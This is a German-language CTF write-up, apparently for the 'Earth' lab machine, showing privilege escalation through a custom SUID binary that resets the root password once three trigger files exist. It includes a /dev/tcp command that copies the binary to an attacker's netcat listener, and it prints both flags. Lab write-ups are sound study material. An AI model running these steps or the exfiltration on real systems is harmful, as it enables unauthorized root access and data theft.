Analyse: Dieser Abschnitt demonstriert die Ausnutzung des benutzerdefinierten SUID-Binaries `/usr/bin/reset_root` zur Erlangung von Root-Rechten.

bash-5.1$ strings /usr/bin/reset_root
/lib64/ld-linux-x86-64.so.2
setuid
puts
system
access
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
H=@@@
paleblueH
]\UH
credentiH
als rootH
:theEartH
hisflat
[]A\A]A^A_
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
;*3$"
GCC: (GNU) 11.1.1 20210531 (Red Hat 11.1.1-3)
GCC: (GNU) 11.2.1 20210728 (Red Hat 11.2.1-1)
                    

Analyse: Der Befehl `strings` extrahiert lesbare Zeichenketten aus dem Binary `/usr/bin/reset_root`. Die Ausgabe zeigt interessante Texte: * Funktionsaufrufe wie `setuid`, `system`, `access`. `system()` ist oft gefährlich in SUID-Programmen, wenn Benutzereingaben darin verwendet werden. * Textnachrichten wie "CHECKING IF RESET TRIGGERS PRESENT...", "RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth", "RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.". * Den Befehl, der ausgeführt wird, wenn die Trigger vorhanden sind: `/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd`. Dieser Befehl setzt das Root-Passwort auf `Earth`. * Potenzielle Hinweise auf die "Trigger" (Dateinamen?) könnten in den nicht direkt lesbaren Strings verborgen sein oder durch weitere Analyse (ltrace/strace) gefunden werden.

Bewertung: Das Binary `reset_root` ist ein SUID-Programm, das das Root-Passwort auf `Earth` zurücksetzt, aber nur, wenn bestimmte "Trigger" (wahrscheinlich Dateien an bestimmten Orten) vorhanden sind. Das Ziel ist es, diese Trigger zu identifizieren und zu erstellen, um die Passwortänderung auszulösen.

Empfehlung (Pentester): Verwende `ltrace` oder `strace` beim Ausführen von `./reset_root` (nachdem es lokal kopiert wurde oder direkt), um die Systemaufrufe, insbesondere die `access()`-Aufrufe, zu beobachten. Diese werden zeigen, nach welchen Dateien das Programm sucht.
Empfehlung (Admin): Solche benutzerdefinierten SUID-Programme sind extrem riskant. Wenn eine Funktion zum Zurücksetzen des Root-Passworts benötigt wird, sollte sie über sicherere Mechanismen implementiert werden (z.B. über `sudo` mit spezifischen Berechtigungen oder über ein separates, gesichertes System).

bash-5.1$ cat /usr/bin/reset_root > /dev/tcp/192.168.2.113/9002
┌──(root㉿cyber)-[~] └─# nc -nlvp 9002 > reset_root
listening on [any] 9002 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.110] 50392
                    
┌──(root㉿cyber)-[~] └─# chmod +x reset_root
┌──(root㉿cyber)-[~] └─# ltrace ./reset_root
puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT...
)              = 38
access("/dev/shm/kHgTFI5G", 0)                           = -1
access("/dev/shm/Zw7bV9U5", 0)                           = -1
access("/tmp/kcM0Wewe", 0)                               = -1
puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
)              = 44
+++ exited (status 0) +++
                    

Analyse: 1. Das Binary `reset_root` wird vom Zielsystem auf das Angreifer-System kopiert, indem sein Inhalt über eine TCP-Verbindung (`/dev/tcp/...`) gesendet wird, die von einem `nc`-Listener auf dem Angreifer-System empfangen und in eine lokale Datei `reset_root` geschrieben wird. 2. Die kopierte Datei wird ausführbar gemacht (`chmod +x`). 3. `ltrace ./reset_root` wird auf dem Angreifer-System ausgeführt. `ltrace` verfolgt Aufrufe von Bibliotheksfunktionen. 4. Die `ltrace`-Ausgabe zeigt die Aufrufe von `puts` (zum Ausgeben der Textnachrichten) und entscheidend: drei Aufrufe der Funktion `access()`. `access(Pfad, 0)` prüft, ob die Datei am angegebenen Pfad existiert. 5. Die geprüften Pfade sind: `/dev/shm/kHgTFI5G`, `/dev/shm/Zw7bV9U5` und `/tmp/kcM0Wewe`. Alle drei `access`-Aufrufe geben `-1` zurück, was bedeutet, dass die Dateien nicht existieren. Daraufhin wird die Fehlermeldung ausgegeben.

Bewertung: Die `ltrace`-Analyse hat erfolgreich die drei Trigger-Dateien identifiziert, deren Existenz das `reset_root`-Programm prüft. Wenn diese drei Dateien existieren, wird das Programm den Befehl zum Ändern des Root-Passworts ausführen.

Empfehlung (Pentester): Erstelle die drei Trigger-Dateien auf dem Zielsystem (in der Reverse Shell als `apache`) mit dem `touch`-Befehl. Führe anschließend `/usr/bin/reset_root` auf dem Zielsystem aus.
Empfehlung (Admin): Analysiere benutzerdefinierte SUID-Programme gründlich (statisch mit `strings`, `readelf`, Decompilern; dynamisch mit `ltrace`, `strace`, Debuggern), um solche versteckten Mechanismen und Schwachstellen aufzudecken.

bash-5.1$ touch /dev/shm/kHgTFI5G
bash-5.1$ touch /dev/shm/Zw7bV9U5
bash-5.1$ touch /tmp/kcM0Wewe
bash-5.1$ /usr/bin/reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
                    
bash-5.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-5.1$ su root
Password: Earth
[root@earth /]# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: 1. Die drei Trigger-Dateien (`/dev/shm/kHgTFI5G`, `/dev/shm/Zw7bV9U5`, `/tmp/kcM0Wewe`) werden mit `touch` erstellt. `/dev/shm` und `/tmp` sind typischerweise Verzeichnisse, in die auch nicht-privilegierte Benutzer schreiben können. 2. Das SUID-Programm `/usr/bin/reset_root` wird ausgeführt. 3. Da die Trigger-Dateien nun existieren, gibt das Programm die Erfolgsmeldung aus und führt intern den Befehl `/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd` aus. Das Root-Passwort wurde erfolgreich auf `Earth` gesetzt. 4. `id` zeigt, dass wir immer noch der Benutzer `apache` sind. Das SUID-Programm hat nur das Passwort geändert, nicht unsere aktuelle Shell. 5. `su root` wird verwendet, um zum Root-Benutzer zu wechseln. 6. Das neu gesetzte Passwort `Earth` wird eingegeben. 7. Der Login ist erfolgreich, und wir erhalten einen Shell-Prompt als `root` (`[root@earth /]#`). 8. `id` bestätigt `uid=0(root)`. Die Privilege Escalation war erfolgreich.

Bewertung: Der Proof of Concept ist abgeschlossen. Durch die Analyse und das Auslösen der Bedingung im benutzerdefinierten SUID-Binary `/usr/bin/reset_root` konnte das Root-Passwort geändert und anschließend Root-Zugriff über `su` erlangt werden.

Empfehlung (Pentester): Suche nach den Flags (Root und User).
Empfehlung (Admin): Entferne das unsichere `reset_root`-Binary oder korrigiere es grundlegend (z.B. durch sichere Authentifizierung oder Entfernung des SUID-Bits). Überprüfe das System auf weitere benutzerdefinierte SUID-Programme.

Privilege Escalation

Bewertung: Die Privilege Escalation wurde erfolgreich durch die Ausnutzung des fehlerhaften, benutzerdefinierten SUID-Binaries `/usr/bin/reset_root` erreicht. Durch die Analyse des Programms (mittels `strings` und `ltrace`) konnten die notwendigen Trigger-Dateien identifiziert werden. Nach Erstellung dieser Dateien führte die Ausführung von `/usr/bin/reset_root` dazu, dass das Root-Passwort auf einen bekannten Wert (`Earth`) gesetzt wurde. Anschließend konnte mit `su root` und diesem Passwort eine Root-Shell erlangt werden.

[root@earth /]# ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr
                    
[root@earth /]# cd /root/
[root@earth ~]# ls
anaconda-ks.cfg  root_flag.txt
                    
[root@earth ~]# cat root_flag.txt

              _-o#&&*''''?d:>b\_
          _o/"\`''  '',, dMF9MMMMMHo_
       .o&#'        `"MbHMMMMMMMMMMMHo.
     .o"" '         vodM*$&&HMMMMMMMMMM?.
    ,'              $M&ood,~'`(&##MMMMMMH\
   /               ,MMMMMMM#b?#bobMMMMHMMML
  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
 ?$.            :MMMMMMMMMMMMMMMMMMM/HMMM|`*L
|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,
$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?
]MMH#             ""*""""*#MMMMMMMMMMMMM'    -
MMMMMb_                   |MMMMMMMMMMMP'     :
HMMMMMMMHo                 `MMMMMMMMMT       .
?MMMMMMMMP                  9MMMMMMMM}       -
-?MMMMMMM                  |MMMMMMMMM?,d-    '
 :|MMMMMM-                 `MMMMMMMT .M|.   :
  .9MMM[                    &MMMMM*' `'    .
   :9MMk                    `MMM#"        -
     &M}                     `          .-
      `&.                             .
        `~,   .                     ./
            . _                  .-
              '`--._,dd###pp=""'

Congratulations on completing Earth!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_b0da9554d29db2117b02aa8b66ec492e]
                    

Analyse: Als Root-Benutzer wird das Verzeichnis `/root` aufgesucht und die Datei `root_flag.txt` ausgelesen.

Bewertung: Die Root-Flag `[root_flag_b0da9554d29db2117b02aa8b66ec492e]` wurde erfolgreich gefunden.

Empfehlung (Pentester): Notiere die Root-Flag. Suche nun nach der User-Flag, da diese bisher noch nicht gefunden wurde.
Empfehlung (Admin): Sichere sensible Daten, auch Flags in CTF-Szenarien, entsprechend.

[root@earth ~]# find / | grep user.flag
/var/earth_web/user_flag.txt
[root@earth ~]# cat /var/earth_web/user_flag.txt
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

Analyse: Da die User-Flag nicht im Home-Verzeichnis eines Benutzers lag, wird als `root` mit `find / | grep user.flag` nach einer Datei gesucht, die "user.flag" im Namen enthält. Die Suche ist erfolgreich und findet `/var/earth_web/user_flag.txt`. Der Inhalt dieser Datei wird mit `cat` angezeigt.

Bewertung: Die User-Flag `[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]` wurde an einem ungewöhnlichen Ort (`/var/earth_web/`) gefunden. Beide Flags sind nun bekannt.

Empfehlung (Pentester): Dokumentiere beide Flags. Der Test ist abgeschlossen.
Empfehlung (Admin): Speichere sensible Daten nicht an unerwarteten oder potenziell web-zugänglichen Orten wie `/var/earth_web`. Verwende klare und sichere Speicherorte und Berechtigungen.

Flags

cat /var/earth_web/user_flag.txt
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
cat /root/root_flag.txt
[root_flag_b0da9554d29db2117b02aa8b66ec492e]